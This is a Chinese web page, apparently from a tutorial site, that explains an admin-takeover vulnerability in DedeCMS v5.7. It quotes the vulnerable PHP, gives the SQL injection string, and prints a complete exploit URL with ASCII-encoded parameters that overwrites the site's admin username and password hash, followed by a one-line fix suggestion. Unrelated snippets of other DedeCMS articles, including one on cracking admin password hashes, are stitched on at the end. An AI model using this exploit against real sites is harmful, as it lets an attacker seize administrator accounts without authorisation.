织梦DEDECMS 修改任意管理员漏洞处理

漏洞版本:dedecms v5.7

漏洞描述:

起因是全局变量$GLOBALS可以被任意修改,以下举一例。

 代码如下 复制代码

// include/dedesql.class.php
 if(isset($GLOBALS['arrs1'])) 

 { 

     $v1 = $v2 = ''; 

    for($i=0;isset($arrs1[$i]);$i++) 

     { 

        $v1 .= chr($arrs1[$i]); 

    } 

     for($i=0;isset($arrs2[$i]);$i++) 

     { 

         $v2 .= chr($arrs2[$i]);   //解码ascii 

    } 

     $GLOBALS[$v1] .= $v2; www.111cn.net//注意这里不是覆盖,是+ 

 } 

    

 function SetQuery($sql) 

 { 

     $prefix="#@__"; 

     $sql = str_replace($prefix,$GLOBALS['cfg_dbprefix'],$sql); 

     $this->queryString = $sql; 

 }

 

下面说下绕过80sec防注入的方法。

同一文件中,有两个执行SQL的函数。ExecuteNoneQuery和ExecuteNoneQuery2

而用ExecuteNoneQuery2执行SQL并没有防注入,于是随便找个用ExecuteNoneQuery2执行的文件。

 代码如下 复制代码

 // plus/download.php
else if($open==1) 

 { 

     $id = isset($id) && is_numeric($id) ? $id : 0; 

    $link = base64_decode(urldecode($link)); 

     $hash = md5($link); 

 //这里的#@_是可以控制的 

    $rs = $dsql->ExecuteNoneQuery2("UPDATE `#@__downloads` SET downloads = downloads + 1 WHERE hash='$hash' "); 

     if($rs <= 0)     {         $query = " INSERT INTO `#@__downloads`(`hash`,`id`,`downloads`) VALUES('$hash','$id',1); ";         $dsql->ExecNoneQuery($query); 

     } 

    header("location:$link"); 

    exit(); 

 }

 

构造SQL语句 (提交的时候用ascii加密,程序会帮我们自动解密的,所以无视gpc):

 代码如下 复制代码

admin` SET `userid`='spider', `pwd`='f297a57a5a743894a0e4' where id=1 #

完整SQL语句:

 代码如下 复制代码

UPDATE `dede_admin` SET `userid`='spider', `pwd`='f297a57a5a743894a0e4' where id=1 #_downloads` SET downloads = downloads + 1 WHERE hash='$hash'

测试方法:

 代码如下 复制代码

 // 本站提供程序(方法)可能带有攻击性,仅供安全研究与教学之用,风险自负! 

 http://localhost/plus/download.php?open=1&arrs1[]=99&arrs1[]=102&arrs1[]=103&arrs1[]=95&arrs1[]=100&arrs1[]=98&arrs1[]=112&arrs1[]=114&arrs1[]=101&arrs1[]=102&arrs1[]=105&arrs1[]=120&arrs2[]=97&arrs2[]=100&arrs2[]=109&arrs2[]=105&arrs2[]=110&arrs2[]=96&arrs2[]=32&arrs2[]=83&arrs2[]=69&arrs2[]=84&arrs2[]=32&arrs2[]=96&arrs2[]=117&arrs2[]=115&arrs2[]=101&arrs2[]=114&arrs2[]=105&arrs2[]=100&arrs2[]=96&arrs2[]=61&arrs2[]=39&arrs2[]=115&arrs2[]=112&arrs2[]=105&arrs2[]=100&arrs2[]=101&arrs2[]=114&arrs2[]=39&arrs2[]=44&arrs2[]=32&arrs2[]=96&arrs2[]=112&arrs2[]=119&arrs2[]=100&arrs2[]=96&arrs2[]=61&arrs2[]=39&arrs2[]=102&arrs2[]=50&arrs2[]=57&arrs2[]=55&arrs2[]=97&arrs2[]=53&arrs2[]=55&arrs2[]=97&arrs2[]=53&arrs2[]=97&arrs2[]=55&arrs2[]=52&arrs2[]=51&arrs2[]=56&arrs2[]=57&arrs2[]=52&arrs2[]=97&arrs2[]=48&arrs2[]=101&arrs2[]=52&arrs2[]=39&arrs2[]=32&arrs2[]=119&arrs2[]=104&arrs2[]=101&arrs2[]=114&arrs2[]=101&arrs2[]=32&arrs2[]=105&arrs2[]=100&arrs2[]=61&arrs2[]=49&arrs2[]=32&arrs2[]=35 

 

4 // 如果不出问题,后台登录用户spider密码admin

逐风(清风)安全建议:

 将应用到ExecuteNoneQuery2函数的文件均改为使用ExecuteNoneQuery函数并且根据情况,调试程序尽可能不要爆出绝对路径地址;

时间: 2024-09-24 19:45:17

织梦DEDECMS 修改任意管理员漏洞处理的相关文章

数据-求教啊?用织梦dedecms修改后台系统基本参数时出现页面布局乱了

问题描述 求教啊?用织梦dedecms修改后台系统基本参数时出现页面布局乱了 哪位高手能给指点一下吗?本人新手最近用dedecms在已建好的模板上修改,但是修改系统基本参数或者对应的数据库表中数据时网页布局就会乱掉,而且{dede:}标签在调用数据库表中数据时有的不能正常调用,为什么啊?是原作者做了什么权限吗? 解决方案 这个看你修改的基本参数是哪一些基本参数了,乱改肯定会出问题

织梦DEDECMS管理员密码破解方法总结

刚接手客户的一个由织梦dedecms搭建的企业网站,管理员密码找不到了,还好有ftp的密码,由dede的mysql密码配置文件:common.inc.php获得了mysql权限. admin表中pwd中赫然写着:c3949ba59abbe56e057f,我勒个去,这是啥加密方式,见过混合加密的,但一般最后都是md5一下,应该16或32位,这个什么呀??20位-. 百度了一下织梦管理员密码的加密方式,发现想这个方法的人绝了,一般都是混合字符串进去然后md5,dedecms呢?直接md5然后取32位

修改织梦dedecms栏目标题格式教程

修改织梦dedecms栏目列表页标题格式本来默认标题 1级标题 / 2级标题_网站名称 修改效果:2级标题_1级标题_网站名称 最新版dedecms v5.7 sp1 修改文件:include/typelink.class.php 176行 修改为:$this->valuePositionName=$this->valuePositionName."_".$tinfos['typename']; 总结:后面的方法非常适合于现在的网站优化的一个走向了,不过有一个dedecms

Nginx系统中织梦Dedecms的安全设置

首先需要说明的是,任何程序都是有漏洞的,我们需要做好一些必要的防范,来减少由于程序漏洞造成的损失.织梦的漏洞多,这个是很多人的想法.不过大家如果做好了织梦系统的文件夹权限什么的设置,很多漏洞也是用不上的. 这些安全措施,织梦官方已经给出过很多教程了,如织梦后台中uploads等文件夹执行php文件权限的问题.今天主要说的就是Nginx下取消织梦uploads文件夹权限的问题.如果是在Apache中,可以在.htaccess中通过如下的代码解决:  代码如下 复制代码 RewriteEngine

织梦dedecms文章页SEO四点优化提高百度收录率

织梦dedecms是广大站长比较熟悉的.国内比较知名的内容管理系统了,也是广大站长朋友选择最多的一款cms系统,笔者的站点www.shuashoucang.net就是采用dedecms进行搭建,这次跟大家探讨分享的是织梦内容页的几个SEO细节优化,提高"原创度",来提升百度收录率,由于笔者并非专业SEO人员,因此本文观点也只代表作者本人的一点看法,同时也欢迎广大站长朋友批评指正. 一.文章页H1标签的优化: H1标签代表最重要的,用来修饰网页的主标题,用过dedecms的朋友都知道,系

php5.4 织梦dedecms后台登录空白

  linux,php5.4, 织梦dedecms后台登录空白,原因: include/userlogin.class.php,里面有一个keepuser()函数,是用session_register来注册一个session变量,但是在php5.4中已经移除了这个功能  代码如下   把@session_register($this->keepUserIDTag);    注释掉,然后改为 if (!isset($_SESSION[$this->keepUserIDTag])) 如下: if

织梦dedecms不同页面使用不同ueditor编辑器配置

中介交易 SEO诊断 淘宝客 云主机 技术大厅 昨天,我为大家介绍了织梦dedecms下使用百度ueditor时针对不同页面使用不同编辑器宽度的方法,虽然这个方法很实用,但其局限性也比较强:只能设置宽度,不能进行其它个性配置.下面再来为大家介绍一个对ueditor进行页面个性配置的方法,即不同页面使用不同的配置,我想这个方法应该能解决各位站长朋友的很多问题了,至于你更喜欢哪种方法,那就仁者见仁了. 下图是小创意网使用百度ueditor时使用不同配置的截图: 对前台编辑器进行配置,取消其附件上传和

织梦dedecms 5.7 GBK按照字母搜索的实现方法

目前织梦dedecms v5.7已正式发布,但在实际的使用环境中往往我们需要进行一些特定功能的实现,比如按照字母搜索等,下面我们来说一下该功能是如何实现的,主要的方法就是提取发布资源中第一个字母,存储到数据表中,然后进行索引. DedeCMS 基于PHP和MySQL技术开发,可同时使用于Windows.Linux.Unix平台,环境需求如下: 1.Windows 平台:    IIS/Apache + PHP4/PHP5 + MySQL3/4/5    如果在windows环境中使用,建议用De

织梦Dedecms转换WordPress的方法

一.转换之前的工作 1.准备测试网站 在测试环境中,分别搭建了一个织梦站点和一个wp站点,并且分别用不同的数据库.(当然安装在同一个数据库中也可以,不过为了方便新手理解,这里每个网站都用单独的数据库) 2.转换目标和结果 通常我们把织梦转换成wordpress的目标,最重要的就是把网站栏目和栏目对应的文章转换过去. 本教程的转换结果是,可以把文章栏目.文章标题.文章内容.文章日期.文章点击数文章分类都转换成功,但文章tag标签转换不过来,不过不影响网站内容,所以这里不转换tag标签. 3.操作前